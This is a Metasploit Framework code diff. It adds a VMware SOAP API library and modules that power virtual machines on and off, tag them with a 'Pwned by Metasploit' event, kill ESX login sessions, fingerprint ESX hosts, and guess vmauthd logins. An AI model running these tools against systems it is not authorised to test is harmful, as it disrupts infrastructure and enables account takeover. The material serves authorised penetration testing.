diff --git a/lib/msf/core/constants.rb b/lib/msf/core/constants.rb index 26b9796eb0..cd4961529f 100644 --- a/lib/msf/core/constants.rb +++ b/lib/msf/core/constants.rb @@ -64,6 +64,12 @@ module OperatingSystems FREEBSD = "FreeBSD" NETBSD = "NetBSD" OPENBSD = "OpenBSD" + VMWARE = "VMware" + + module VmwareVersions + ESX = "ESX" + ESXI = "ESXi" + end module WindowsVersions NT = "NT" diff --git a/lib/msf/core/exploit/vim_soap.rb b/lib/msf/core/exploit/vim_soap.rb new file mode 100644 index 0000000000..28e8759926 --- /dev/null +++ b/lib/msf/core/exploit/vim_soap.rb @@ -0,0 +1,728 @@ +module Msf + +module Exploit::Remote::VIMSoap + include Msf::Exploit::Remote::HttpClient + + def vim_soap_envelope(body) + soap_data = '' + soap_data << '' + soap_data << body + soap_data << '' + end + + + + def vim_soap_propset(type,path,all = false) + soap_data = '' + soap_data << '' + type + '' + if all + soap_data << 'true' + else + soap_data << '' + path + '' + end + soap_data << '' + end + + + + def vim_soap_objset(type, ref) + soap_data = '' + soap_data << '' + ref + '' + soap_data << '' + end + + + + def vim_soap_specset(path,type,ref,all=false) + soap_data = '' + soap_data << vim_soap_propset(type,path,all) + soap_data << vim_soap_objset(type,ref) + soap_data << '' + end + + + + def vim_soap_retrieve_properties(path,type,ref,all=false) + soap_data = '' + soap_data << '<_this type="PropertyCollector">' + @server_objects['propertyCollector'] + '' + soap_data << vim_soap_specset(path,type,ref,all) + soap_data << '' + end + + + + def vim_soap_retrieve_service_content + soap_data = '' + soap_data << '<_this type="ServiceInstance">ServiceInstance' + soap_data << '' + end + + + + def vim_soap_login(user,pass) + soap_data = '' + soap_data << '<_this type="SessionManager">' + @server_objects['sessionManager'] + '' + soap_data << '' + user + '' + soap_data << '' + pass + '' + soap_data << '' + end + + + + def vim_soap_session_active?(key, user) + soap_data = '' + soap_data << '<_this type="SessionManager">' + @server_objects['sessionManager'] + '' + soap_data << '' + key+ '' + soap_data << '' + user + '' + soap_data << '' + end + + + + + def vim_soap_terminate_session(key) + soap_data = '' + soap_data << '<_this xsi:type="ManagedObjectReference" type="SessionManager" >' + @server_objects['sessionManager'] + '' + soap_data << '' + key + '' + soap_data << '' + end + + + + def vim_soap_retrieve_usergroups(domain=nil) + soap_data = '' + soap_data << '<_this xsi:type="ManagedObjectReference" type="UserDirectory">' + @server_objects['userDirectory'] + '' + soap_data << '' + domain + '' if domain + soap_data << 'falsetruetrue' + soap_data << '' + end + + + + def vim_soap_log_user_event_vm(vm_ref,msg) + soap_data = '' + soap_data << '<_this type="EventManager">' + @server_objects['eventManager'] + '' + soap_data << '' + vm_ref + '' + soap_data << '' + msg + '' + soap_data << '' + end + + + + def vim_soap_retrieve_all_permissions + soap_data = '' + soap_data << '<_this type="AuthorizationManager">' + @server_objects['authorizationManager'] + '' + soap_data << '' + end + + + + def vim_soap_find_child_byname(type,entity,name) + soap_data = '' + soap_data << '<_this type="SearchIndex">' + @server_objects['searchIndex'] + '' + soap_data << '' + entity + '' + soap_data << '' + name + '' + soap_data << '' + end + + + + def vim_soap_power_on_vm(vm_ref) + soap_data = '' + soap_data << '<_this type="VirtualMachine">' + vm_ref + '' + soap_data << '' + end + + + + def vim_soap_power_off_vm(vm_ref) + soap_data = '' + soap_data << '<_this type="VirtualMachine">' + vm_ref + '' + soap_data << '' + end + + + + def vim_soap_create_screenshot(vm_ref) + soap_data = '' + soap_data << '<_this type="VirtualMachine">' + vm_ref + '' + soap_data << '' + end + + + + def vim_send_soap_request(soap_data) + res = send_request_cgi({ + 'uri' => '/sdk', + 'method' => 'POST', + 'agent' => 'VMware VI Client', + 'cookie' => @vim_cookie, + 'data' => soap_data, + 'headers' => { 'SOAPAction' => @soap_action} + }, 25) + return :noresponse unless res + if res.body.include? "NotAuthenticatedFault" + return :expired + elsif res.body.include? "" + @vim_soap_error = res.body.match(/([^\c ]+?)<\/faultstring>/)[1] + return :error + elsif res.code != 200 + @vim_soap_error = "An unknown error was encountered" + return :error + else + return Hash.from_xml(res.body)['Envelope']['Body'] + end + end + + + + def vim_get_session + soap_data = vim_soap_envelope(vim_soap_retrieve_service_content) + res = send_request_cgi({ + 'uri' => '/sdk', + 'method' => 'POST', + 'agent' => 'VMware VI Client', + 'data' => soap_data + }, 25) + return false unless res and res.code == 200 + @server_objects = Hash.from_xml(res.body)['Envelope']['Body']['RetrieveServiceContentResponse']['returnval'] + @soap_action = "urn:vim25/#{@server_objects['about']['apiVersion']}" + if res.headers['Set-Cookie'] + @vim_cookie = res.headers['Set-Cookie'] + return true + else + return false + end + end + + + + def vim_do_login(user, pass) + unless vim_get_session + return false + end + soap_data = vim_soap_envelope(vim_soap_login(user,pass)) + res = send_request_cgi({ + 'uri' => '/sdk', + 'method' => 'POST', + 'agent' => 'VMware VI Client', + 'cookie' => @vim_cookie, + 'data' => soap_data, + 'headers' => { 'SOAPAction' => @soap_action} + }, 25) + if res.code == 200 + return :success + else + return :fail + end + end + + + + def vim_get_session_list + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('sessionList','SessionManager', @server_objects['sessionManager'])) + res = vim_send_soap_request(soap_data) + if res.class == Hash + session_list = [] + session_list << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['UserSession'] + return session_list.flatten.compact + else + return res + end + end + + + + def vim_session_is_active(key, username) + soap_data = vim_soap_envelope(vim_soap_session_active?(key,username)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + active = res['SessionIsActiveResponse']['returnval'] + return active + else + return res + end + end + + + + def vim_terminate_session(key) + soap_data = vim_soap_envelope(vim_soap_terminate_session(key)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + return :success + else + return res + end + end + + + + def vim_get_domains + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('domainList', 'UserDirectory', @server_objects['userDirectory'])) + res = vim_send_soap_request(soap_data) + if res.class == Hash + domains = [] + domains << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['string'] + return domains.flatten.compact + else + return res + end + end + + + + def vim_get_user_list(domain=nil) + soap_data = vim_soap_envelope(vim_soap_retrieve_usergroups(domain)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + return nil unless res['RetrieveUserGroupsResponse']['returnval'] + user_list = [] + user_list << res['RetrieveUserGroupsResponse']['returnval'] + return user_list.flatten.compact + else + return res + end + end + + + + def vim_log_event_vm(vm_ref, msg) + soap_data = vim_soap_envelope(vim_soap_log_user_event_vm(vm_ref,msg)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + return :success + else + return res + end + end + + + + def vim_get_all_permissions + soap_data = vim_soap_envelope(vim_soap_retrieve_all_permissions) + res = vim_send_soap_request(soap_data) + if res.class == Hash + permissions = [] + permissions << res['RetrieveAllPermissionsResponse']['returnval'] + return permissions.flatten.compact + else + return res + end + end + + + + def vim_get_roles + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('roleList', 'AuthorizationManager', @server_objects['authorizationManager'])) + res = vim_send_soap_request(soap_data) + if res.class == Hash + roles = [] + roles << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['AuthorizationRole'] + return roles.flatten.compact + else + return res + end + end + + + + def vim_get_dc_name(dc) + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('name','Datacenter',dc)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + return res['RetrievePropertiesResponse']['returnval']['propSet']['val'] + else + return res + end + end + + + def vim_get_dcs + soap_data = vim_soap_envelope(vim_soap_retrieve_service_content) + res = vim_send_soap_request(soap_data) + if res.class == Hash + @server_objects.merge!(res['RetrieveServiceContentResponse']['returnval']) + else + return res + end + + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('content', 'ServiceInstance', 'ServiceInstance')) + res = vim_send_soap_request(soap_data) + if res.class == Hash + hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val'] + hash.delete('xsi:type') + @server_objects.merge!(hash) + else + return res + end + + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', @server_objects['rootFolder'])) + res = vim_send_soap_request(soap_data) + if res.class == Hash + tmp_dcs = [] + tmp_dcs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference'] + tmp_dcs.flatten! + tmp_dcs.each{|dc| @dcs << { 'name' => vim_get_dc_name(dc) , 'ref' => dc}} + else + return res + end + end + + + + def vim_get_hosts(datacenter) + dc_hosts = [] + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('hostFolder', 'Datacenter' , datacenter)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + host_folders = [] + host_folders << res['RetrievePropertiesResponse']['returnval']['propSet']['val'] + host_folders.flatten! + else + return res + end + + compute_refs = [] + host_folders.each do |folder| + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder' , folder)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + ref = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference'] + unless ref.nil? + compute_refs << ref + end + else + return res + end + end + compute_refs.flatten! + + compute_refs.each do |ref| + next if ref.start_with? "group-" + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('host', 'ComputeResource' , ref)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + dc_hosts << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference'] + else + return res + end + end + dc_hosts.flatten! + return dc_hosts + end + + + + def vim_get_all_hosts + @dcs.each{|dc| @hosts << vim_get_hosts(dc['ref'])} + @hosts.flatten! + end + + + + def vim_get_host_hw(host) + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('hardware', 'HostSystem' , host)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + return res['RetrievePropertiesResponse']['returnval']['propSet']['val'] + else + return res + end + end + + def vim_get_all_host_summary(hw=false) + vim_setup_references + summaries = [] + @hosts.each do |host| + details = {} + details[host] = vim_get_host_summary(host) + if details and hw + details.merge!(vim_get_host_hw(host)) + end + summaries << details + end + return summaries.flatten.compact + end + + def vim_get_vm_datastore(vm) + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('datastore', 'VirtualMachine' , vm)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + datastore_refs = [] + datastore_refs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference'] + datastore_refs.flatten! + datastore_refs.compact! + datastores = [] + else + return res + end + + datastore_refs.each do |datastore_ref| + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Datastore' , datastore_ref)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + datastore_name = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['name'] + datastore = { 'name' => datastore_name, 'ref' => datastore_ref} + datastores << datastore + else + return res + end + end + return datastores + + end + + def vim_find_vm_by_name(name) + vim_setup_references + @dcs.each do |dc| + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('vmFolder', 'Datacenter' , dc['ref'])) + res = vim_send_soap_request(soap_data) + if res.class == Hash + vm_folders = [] + vm_folders << res['RetrievePropertiesResponse']['returnval']['propSet']['val'] + vm_folders.flatten! + vm_folders.compact! + else + return res + end + + + vm_folders.each do |vm_folder| + soap_data = vim_soap_envelope(vim_soap_find_child_byname('Folder', vm_folder, name)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + vmref = res['FindChildResponse']['returnval'] + if vmref + return vmref + else + next + end + else + return res + end + end + end + return nil + end + + + + def vim_powerON_vm(vm_ref) + soap_data = vim_soap_envelope(vim_soap_power_on_vm(vm_ref)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + task_id = res['PowerOnVM_TaskResponse']['returnval'] + else + return res + end + + state= "running" + while state == "running" + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state'] + case state + when 'running' + select(nil, nil, nil, 5) + when 'error' + if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn' + return 'alreadyON' + end + end + else + return res + end + end + return state + end + + + + def vim_powerOFF_vm(vm_ref) + soap_data = vim_soap_envelope(vim_soap_power_off_vm(vm_ref)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + task_id = res['PowerOffVM_TaskResponse']['returnval'] + else + return res + end + + state= "running" + while state == "running" + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state'] + case state + when 'running' + select(nil, nil, nil, 5) + when 'error' + if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn' + return 'alreadyON' + end + end + else + return res + end + end + return state + end + + + + def vim_take_screenshot(vm, user, pass) + soap_data = vim_soap_envelope(vim_soap_create_screenshot(vm['ref'])) + res = vim_send_soap_request(soap_data) + if res.class == Hash + task_id = res['CreateScreenshot_TaskResponse']['returnval'] + else + return res + end + + state= "running" + while state == "running" + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state'] + screenshot_file = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['result'] + else + return res + end + end + unless screenshot_file + return :error + end + (ss_folder, ss_file) = screenshot_file.split('/').last(2) + ss_folder = Rex::Text.uri_encode(ss_folder) + ss_file = Rex::Text.uri_encode(ss_file) + ss_path = "#{ss_folder}/#{ss_file}" + datastores = vim_get_vm_datastore(vm['ref']) + user_pass = Rex::Text.encode_base64(user + ":" + pass) + datastores.each do |datastore| + ss_uri = "/folder/#{ss_path}?dcPath=#{vm['dc_name']}&dsName=#{datastore['name']}" + res = send_request_cgi({ + 'uri' => ss_uri, + 'method' => 'GET', + 'agent' => 'VMware VI Client', + 'cookie' => @vim_cookie, + 'headers' => { 'Authorization' => "Basic #{user_pass}"} + }, 25) + next unless res + if res.code == 200 + return res.body + elsif res.code == 404 + next + end + end + return :error + end + + + + def vim_get_host_summary(host) + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('summary', 'HostSystem', host)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val'] + hash['runtime'].delete('healthSystemRuntime') + hash.delete('xsi:type') + hash.delete('host') + return hash + else + return res + end + end + + + + def vim_get_vms + vim_setup_references + @vmrefs = [] + vmlist= [] + @dcs.each do |dc| + dc_vm_refs = vim_get_dc_vms(dc['ref']) + next if dc_vm_refs.nil? or dc_vm_refs.empty? + dc_vm_refs.flatten! + dc_vm_refs.compact! + next if dc_vm_refs.nil? or dc_vm_refs.empty? + print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} Found a Total of #{dc_vm_refs.length} VMs" + print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} Estimated Time: #{((dc_vm_refs.length * 7) /60)} Minutes" + dc_vm_refs.each do |ref| + print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} - Getting Data for VM: #{ref}..." + details = vim_get_vm_info(ref) + if details + details['ref'] = ref + details['dc_ref'] = dc['ref'] + details['dc_name'] = dc['name'] + vmlist << details + end + end + end + return vmlist + end + + + + def vim_get_dc_vms(datacenter) + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('vmFolder', 'Datacenter', datacenter)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + vmfolder = res['RetrievePropertiesResponse']['returnval']['propSet']['val'] + else + return res + end + + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', vmfolder)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + vm_index_array = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference'] + vm_index_array.delete_if{|ref| ref.start_with? "group"} unless vm_index_array.nil? or vm_index_array.empty? + return vm_index_array + else + return res + end + end + + def vim_get_vm_info(vm_ref) + vim_setup_references + soap_data = vim_soap_envelope(vim_soap_retrieve_properties('summary', 'VirtualMachine', vm_ref)) + res = vim_send_soap_request(soap_data) + if res.class == Hash + hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val'] + vm = hash['config'] + vm['runtime'] = hash['runtime'] + vm['guest'] = hash['guest'] + vm['quickStats'] = hash['quickStats'] + return vm + else + return res + end + end + + def vim_logged_in? + return true if @vim_cookie + return false + end + + def vim_instance_vars_set? + return false if @server_objects.nil? or @server_objects.empty? + return false if @host.nil? or @host.empty? + return true + end + + def vim_setup_references + unless vim_instance_vars_set? + @dcs = [] + @hosts = [] + vim_get_dcs + vim_get_all_hosts + @hosts.flatten! + @hosts.compact! + end + end + +end +end diff --git a/lib/msf/core/model/host.rb b/lib/msf/core/model/host.rb index ce24da1fa5..15fc5d2ea1 100644 --- a/lib/msf/core/model/host.rb +++ b/lib/msf/core/model/host.rb @@ -685,6 +685,16 @@ class Host < ActiveRecord::Base wtype['server'] = wtype['server'].to_i + points end # End of s.info for SMTP + when 'https' + points = 101 + case s.info + when /(VMware\s(ESXi?)).*\s([\d\.]+)/ + # Very reliable fingerprinting from our own esx_fingerprint module + wname[$1] = wname[$1].to_i + (points * 5) + wflav[$3] = wflav[$3].to_i + (points * 5) + wtype['device'] = wtype['device'].to_i + points + end # End of s.info for HTTPS + when 'netbios' points = 201 case s.info diff --git a/modules/auxiliary/admin/vmware/poweroff_vm.rb b/modules/auxiliary/admin/vmware/poweroff_vm.rb new file mode 100644 index 0000000000..20149c3e27 --- /dev/null +++ b/modules/auxiliary/admin/vmware/poweroff_vm.rb @@ -0,0 +1,74 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/vim_soap' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::VIMSoap + + def initialize + super( + 'Name' => 'VMWare Power Off Virtual Machine', + 'Description' => %Q{ + This module will log into the Web API of VMWare and try to power off + a specified Virtual Machine.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), + OptString.new('VM', [true, "The VM to try to Power Off"]) + ], self.class) + end + + def run + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + vm_ref = vim_find_vm_by_name(datastore['VM']) + case vm_ref + when String + return_state = vim_powerOFF_vm(vm_ref) + case return_state + when 'success' + print_good "VM Powered Off Successfully" + when 'alreadyOFF' + print_status "The Server says that VM #{datastore['VM']} is already off." + else + print_error "The server returned an unexpected status #{return_state}" + end + when :noresponse + print_error "The request timed out" + when :error + print_error @vim_soap_error + when nil + print_error "Could not locate VM #{datastore['VM']}" + end + else + print_error "Login Failure on #{datastore['RHOST']}" + return + end + end + + + + + +end + diff --git a/modules/auxiliary/admin/vmware/poweron_vm.rb b/modules/auxiliary/admin/vmware/poweron_vm.rb new file mode 100644 index 0000000000..c9a16d1e1a --- /dev/null +++ b/modules/auxiliary/admin/vmware/poweron_vm.rb @@ -0,0 +1,75 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/vim_soap' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::VIMSoap + + def initialize + super( + 'Name' => 'VMWare Power On Virtual Machine', + 'Description' => %Q{ + This module will log into the Web API of VMWare and try to power on + a specified Virtual Machine.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), + OptString.new('VM', [true, "The VM to try to Power On"]) + ], self.class) + end + + def run + + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + vm_ref = vim_find_vm_by_name(datastore['VM']) + case vm_ref + when String + return_state = vim_powerON_vm(vm_ref) + case return_state + when 'success' + print_good "VM Powered On Successfully" + when 'alreadyON' + print_status "The Server says that VM #{datastore['VM']} is already on." + else + print_error "The server returned an unexpected status #{return_state}" + end + when :noresponse + print_error "The request timed out" + when :error + print_error @vim_soap_error + when nil + print_error "Could not locate VM #{datastore['VM']}" + end + else + print_error "Login Failure on #{datastore['RHOST']}" + return + end + end + + + + + +end + diff --git a/modules/auxiliary/admin/vmware/tag_vm.rb b/modules/auxiliary/admin/vmware/tag_vm.rb new file mode 100644 index 0000000000..5939b2e6d6 --- /dev/null +++ b/modules/auxiliary/admin/vmware/tag_vm.rb @@ -0,0 +1,79 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/vim_soap' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::VIMSoap + + def initialize + super( + 'Name' => 'VMWare Tag Virtual Machine', + 'Description' => %Q{ + This module will log into the Web API of VMWare and + 'tag' a specified Virtual Machine. It does this by + logging a user event with user supplied text}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), + OptString.new('VM', [true, "The VM to try to Power On"]), + OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit']) + ], self.class) + end + + def run + + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + vm_ref = vim_find_vm_by_name(datastore['VM']) + case vm_ref + when String + result = vim_log_event_vm(vm_ref, datastore['MSG']) + case result + when :noresponse + print_error "Recieved no Response" + when :expired + print_error "The login session appears to have expired" + when :error + print_error "An error occured" + else + print_good "User Event logged" + end + when :noresponse + print_error "Recieved no Response" + when :expired + print_error "The login session appears to have expired" + when :error + print_error @vim_soap_error + end + else + print_error "Login Failure on #{datastore['RHOST']}" + return + end + end + + + + + +end + diff --git a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb new file mode 100644 index 0000000000..39320a16ee --- /dev/null +++ b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb @@ -0,0 +1,66 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/vim_soap' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::VIMSoap + + def initialize + super( + 'Name' => 'VMWare Terminate ESX Login Sessions', + 'Description' => %Q{ + This module will log into the Web API of VMWare and try to terminate + user login sessions as specified by the session keys.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), + OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), + OptString.new('KEYS', [true, "The session key to terminate"]) + ], self.class) + end + + def run + + if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success + Shellwords.split(datastore['KEYS']).each do |key| + result = vim_terminate_session(key) + case result + when :notfound + print_error "The specified Session was not found. Check your key: #{key}" + when :success + print_good "The supplied session was terminated successfully: #{key}" + when :error + print_error "There was an error encountered terminating: #{key}" + end + end + else + print_error "Login Failure on #{datastore['RHOST']}" + return + end + end + + + + +end + diff --git a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb new file mode 100644 index 0000000000..0d42ed7bf6 --- /dev/null +++ b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb @@ -0,0 +1,99 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/vim_soap' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::VIMSoap + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'VMWare ESX/ESXi Fingerprint Scanner', + 'Version' => '$Revision$', + 'Description' => %Q{ + This module accesses the web API interfaces for VMware ESX/ESXi servers + and attempts to identify version information for that server.}, + 'Author' => ['TheLightCosine '], + 'License' => MSF_LICENSE + ) + + register_options([Opt::RPORT(443)], self.class) + end + + + def run_host(ip) + soap_data = + %Q| + + + <_this type="ServiceInstance">ServiceInstance + + + | + datastore['URI'] ||= "/sdk" + res = nil + begin + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'agent' => 'VMware VI Client', + 'data' => soap_data + }, 25) + rescue ::Rex::ConnectionError => e + vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}") + return false + rescue + vprint_error("Skipping #{ip} due to error - #{e}") + return false + end + fingerprint_vmware(ip,res) + end + + # Takes an ip address and a response, and just checks the response + # to pull out version info. If it's ESX, report the OS as ESX (since + # it's a hypervisor deal then). Otherwise, just report the service. + # XXX: report_service is stomping on the report_host OS. This is le suck. + def fingerprint_vmware(ip,res) + unless res + vprint_error("http://#{ip}:#{rport} - No response") + return false + end + return false unless res.body.include?('VMware, Inc.') + os_match = res.body.match(/([\w\s]+)<\/name>/) + ver_match = res.body.match(/([\w\s\.]+)<\/version>/) + build_match = res.body.match(/([\w\s\.\-]+)<\/build>/) + full_match = res.body.match(/([\w\s\.\-]+)<\/fullName>/) + this_host = nil + if full_match + print_good "Identified #{full_match[1]}" + report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1]) + end + if os_match and ver_match and build_match + if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/ + this_host = report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" ) + end + return true + else + vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare") + return false + end + + end + +end + diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index 3835b92260..7d1f7b27bc 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -24,9 +24,8 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'VMWare Authentication Daemon Login Scanner', 'Version' => '$Revision$', - 'Description' => %q{ - This module will test vmauthd logins on a range of machines and - report successful logins. + 'Description' => %q{This module will test vmauthd logins on a range of machines and + report successful logins. }, 'Author' => ['TheLightCosine '], 'References' => @@ -39,27 +38,32 @@ class Metasploit3 < Msf::Auxiliary register_options([Opt::RPORT(902)]) end - - - + def run_host(ip) begin - connect - rescue - print_error "Could not connect to #{ip}:#{datastore['RPORT']}" + + connect rescue nil + if not self.sock + print_error "#{rhost}:#{rport} Could not connect to vmauthd" return end - banner = sock.get_once.chomp - print_status "Banner: #{banner}" + banner = sock.get_once(-1, 10) + if not banner + print_error "#{rhost}:#{rport} No banner received from vmauthd" + return + end + + banner = banner.strip + print_status "#{rhost}:#{rport} Banner: #{banner}" - unless banner.include? "VMware Authentication Daemon" - print_error "This does not appear to be a vmauthd service" + unless banner =~ /VMware Authentication Daemon/ + print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service" return end - if banner.include? "SSL" - print_status("Switching to SSL connection...") + if banner =~ /SSL/ + print_status("#{rhost}:#{rport} Switching to SSL connection...") swap_sock_plain_to_ssl end @@ -67,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary result = do_login(user, pass) case result when :failed - print_error("#{ip}:#{datastore['RPORT']} vmauthd login FAILED - #{user}:#{pass}") + print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}") when :success - print_good("#{ip}:#{datastore['RPORT']} vmauthd login SUCCESS - #{user}:#{pass}") + print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}") report_auth_info( :host => rhost, :port => rport, @@ -81,9 +85,15 @@ class Metasploit3 < Msf::Auxiliary ) return if datastore['STOP_ON_SUCCESS'] else - print_error("#{ip}:#{datastore['RPORT']} #{res}") + print_error("#{rhost}:#{rport} Error: #{res}") end end + + rescue ::Interrupt + raise $! + ensure + disconnect + end end @@ -91,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary nsock.put("USER #{user}\r\n") res = nsock.get_once unless res.start_with? "331" - ret_msg = "received unexpected reply to the USER command: #{res}" + ret_msg = "Unexpected reply to the USER command: #{res}" return ret_msg end nsock.put("PASS #{pass}\r\n") @@ -101,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary elsif res.start_with? "230" return :success else - ret_msg = "received unexpected reply to the PASS command: #{res}" + ret_msg = "Unexpected reply to the PASS command: #{res}" return ret_msg end end 